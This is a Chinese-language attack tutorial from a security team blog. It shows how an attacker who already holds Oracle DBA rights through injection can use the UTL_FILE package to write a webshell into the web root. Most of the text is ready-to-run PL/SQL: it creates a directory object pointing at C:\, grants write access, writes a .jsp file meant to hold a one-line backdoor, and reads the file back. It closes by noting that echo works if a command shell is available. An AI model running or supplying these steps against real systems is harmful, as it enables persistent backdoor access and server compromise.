ORACLE 本地读写文件—ORA WRITE WEBSHELL
信息来源: I.S.T.O信息安全团队(http://blog.csdn.net/I_S_T_O)
author : kj021320
team: I.S.T.O
一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell
下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址
以下是一个简单例子
–首先我们得先建立一个 ORACLE的目录对象 指向 C:\
create or replace directory IST0_DIR as 'C:\';
–然后我们对这个目录对象进行授权 其实这步可以忽略
grant read, write on directory IST0_DIR to 用户;
–以上前奏完成了! 我们可以写PLSQL 进行操作文件了
declare
isto_file utl_file.file_type; –定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); –指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '一句话后门'); –写入字符串
utl_file.fflush(isto_file); –刷缓冲
utl_file.fclose(isto_file); –关闭文件指针
end;
–下面我们可以使用读操作把写入的文件内容读出来
declare
isto_file utl_file.file_type; –如上
fp_buffer varchar2(4000); –没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); — 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); –读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);–在终端输出结果看看
utl_file.fclose(isto_file); –关闭文件指针
end;
如果得到oracle的command shell,直接echo就可以写了